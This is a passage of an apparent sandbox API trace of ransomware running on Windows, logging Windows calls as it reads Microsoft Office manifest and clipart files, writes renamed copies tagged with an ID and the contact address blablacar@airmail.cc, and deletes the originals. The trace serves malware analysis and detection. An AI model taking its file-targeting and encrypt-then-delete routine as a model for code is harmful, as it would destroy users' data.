[0102.832] lstrlenW (lpString=".dbf") returned 4 [0102.832] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0102.832] lstrlenW (lpString=".1cd") returned 4 [0102.832] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0102.832] lstrlenW (lpString=".jpg") returned 4 [0102.832] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.832] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0102.832] lstrlenW (lpString="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 53 [0102.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0102.834] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=1261) returned 1 [0102.834] CloseHandle (hObject=0x338) returned 1 [0102.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0102.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0102.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0102.834] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.834] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0102.835] GetLastError () returned 0x0 [0102.835] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0102.836] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0102.838] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.838] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x13e, lpOverlapped=0x0) returned 1 [0102.838] SetEndOfFile (hFile=0x358) returned 1 [0102.838] CloseHandle (hObject=0x358) returned 1 [0102.839] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.839] SetEndOfFile (hFile=0x338) returned 1 [0102.840] CloseHandle (hObject=0x338) returned 1 [0102.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0102.841] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 1 [0102.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0102.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0102.841] lstrlenW (lpString=".doc") returned 4 [0102.841] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.841] lstrlenW (lpString=".docx") returned 5 [0102.841] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.841] lstrlenW (lpString=".pdf") returned 4 [0102.841] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.841] lstrlenW (lpString=".xls") returned 4 [0102.841] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.841] lstrlenW (lpString=".xlsx") returned 5 [0102.841] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.841] lstrlenW (lpString=".ppt") returned 4 [0102.841] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0102.842] lstrlenW (lpString=".zip") returned 4 [0102.842] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.842] lstrlenW (lpString=".rar") returned 4 [0102.842] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.842] lstrlenW (lpString=".bz2") returned 4 [0102.842] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.842] lstrlenW (lpString=".7z") returned 3 [0102.842] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0102.842] lstrlenW (lpString=".dbf") returned 4 [0102.842] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0102.842] lstrlenW (lpString=".1cd") returned 4 [0102.842] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0102.842] lstrlenW (lpString=".jpg") returned 4 [0102.842] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0102.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0102.842] lstrlenW (lpString=".doc") returned 4 [0102.842] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.842] lstrlenW (lpString=".docx") returned 5 [0102.842] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.842] lstrlenW (lpString=".pdf") returned 4 [0102.842] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.842] lstrlenW (lpString=".xls") returned 4 [0102.842] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.842] lstrlenW (lpString=".xlsx") returned 5 [0102.842] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.843] lstrlenW (lpString=".ppt") returned 4 [0102.843] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0102.843] lstrlenW (lpString=".zip") returned 4 [0102.843] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.843] lstrlenW (lpString=".rar") returned 4 [0102.843] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.843] lstrlenW (lpString=".bz2") returned 4 [0102.843] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.843] lstrlenW (lpString=".7z") returned 3 [0102.843] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0102.843] lstrlenW (lpString=".dbf") returned 4 [0102.843] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0102.843] lstrlenW (lpString=".1cd") returned 4 [0102.843] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 104 [0102.843] lstrlenW (lpString=".jpg") returned 4 [0102.843] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.843] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0102.843] lstrlenW (lpString="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 53 [0102.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0102.844] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=3375) returned 1 [0102.844] CloseHandle (hObject=0x338) returned 1 [0102.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 0x220 [0102.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0102.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0102.844] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.844] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0102.845] GetLastError () returned 0x0 [0102.845] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0xd2f, lpOverlapped=0x0) returned 1 [0103.298] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xd30, lpOverlapped=0x0) returned 1 [0103.300] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.300] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x13e, lpOverlapped=0x0) returned 1 [0103.300] SetEndOfFile (hFile=0x358) returned 1 [0103.300] CloseHandle (hObject=0x358) returned 1 [0103.301] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.301] SetEndOfFile (hFile=0x338) returned 1 [0103.303] CloseHandle (hObject=0x338) returned 1 [0103.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0103.303] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 1 [0103.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0103.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0103.304] lstrlenW (lpString=".doc") returned 4 [0103.304] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.304] lstrlenW (lpString=".docx") returned 5 [0103.304] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0103.304] lstrlenW (lpString=".pdf") returned 4 [0103.304] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.304] lstrlenW (lpString=".xls") returned 4 [0103.304] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.304] lstrlenW (lpString=".xlsx") returned 5 [0103.304] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0103.304] lstrlenW (lpString=".ppt") returned 4 [0103.304] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0103.304] lstrlenW (lpString=".zip") returned 4 [0103.304] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.304] lstrlenW (lpString=".rar") returned 4 [0103.304] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.304] lstrlenW (lpString=".bz2") returned 4 [0103.304] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.304] lstrlenW (lpString=".7z") returned 3 [0103.304] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0103.304] lstrlenW (lpString=".dbf") returned 4 [0103.304] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0103.305] lstrlenW (lpString=".1cd") returned 4 [0103.305] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0103.305] lstrlenW (lpString=".jpg") returned 4 [0103.305] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0103.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0103.305] lstrlenW (lpString=".doc") returned 4 [0103.305] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.305] lstrlenW (lpString=".docx") returned 5 [0103.305] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0103.305] lstrlenW (lpString=".pdf") returned 4 [0103.305] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.305] lstrlenW (lpString=".xls") returned 4 [0103.305] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.305] lstrlenW (lpString=".xlsx") returned 5 [0103.305] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0103.305] lstrlenW (lpString=".ppt") returned 4 [0103.305] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0103.305] lstrlenW (lpString=".zip") returned 4 [0103.305] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.305] lstrlenW (lpString=".rar") returned 4 [0103.305] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.305] lstrlenW (lpString=".bz2") returned 4 [0103.306] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.306] lstrlenW (lpString=".7z") returned 3 [0103.306] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0103.306] lstrlenW (lpString=".dbf") returned 4 [0103.306] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0103.306] lstrlenW (lpString=".1cd") returned 4 [0103.306] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0103.306] lstrlenW (lpString=".jpg") returned 4 [0103.306] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.306] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0103.306] lstrlenW (lpString="AG00021_.GIF") returned 12 [0103.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0103.307] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=14873) returned 1 [0103.307] CloseHandle (hObject=0x338) returned 1 [0103.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 0x220 [0103.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0103.308] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.308] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0103.309] GetLastError () returned 0x0 [0103.309] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x3a19, lpOverlapped=0x0) returned 1 [0103.311] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x3a20, lpOverlapped=0x0) returned 1 [0103.312] ReadFile (in: hFile=0x338, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.312] WriteFile (in: hFile=0x358, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0103.312] SetEndOfFile (hFile=0x358) returned 1 [0103.313] CloseHandle (hObject=0x358) returned 1 [0103.314] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.314] SetEndOfFile (hFile=0x338) returned 1 [0103.315] CloseHandle (hObject=0x338) returned 1 [0103.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0103.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0103.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0103.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0103.316] lstrlenW (lpString=".doc") returned 4 [0103.316] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0103.316] lstrlenW (lpString=".docx") returned 5 [0103.316] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0103.316] lstrlenW (lpString=".pdf") returned 4 [0103.316] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0103.316] lstrlenW (lpString=".xls") returned 4 [0103.316] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0103.316] lstrlenW (lpString=".xlsx") returned 5 [0103.316] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0103.316] lstrlenW (lpString=".ppt") returned 4 [0103.317] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0103.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0103.317] lstrlenW (lpString=".zip") returned 4 [0103.317] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0103.317] lstrlenW (lpString=".rar") returned 4 [0103.317] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0103.317] lstrlenW (lpString=".bz2") returned 4 [0103.317] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0103.317] lstrlenW (lpString=".7z") returned 3 [0103.317] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0103.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0103.317] lstrlenW (lpString=".dbf") returned 4 [0103.317] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0103.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0103.365] lstrlenW (lpString=".1cd") returned 4 [0103.365] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0103.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0103.365] lstrlenW (lpString=".jpg") returned 4 [0103.365] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0103.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0103.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0103.365] lstrlenW (lpString=".doc") returned 4 [0103.365] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0103.365] lstrlenW (lpString=".docx") returned 5 [0103.365] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0103.365] lstrlenW (lpString=".pdf") returned 4 [0103.365] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0103.365] lstrlenW (lpString=".xls") returned 4 [0103.365] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0103.365] lstrlenW (lpString=".xlsx") returned 5 [0103.365] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0103.365] lstrlenW (lpString=".ppt") returned 4 [0103.365] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0103.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0103.365] lstrlenW 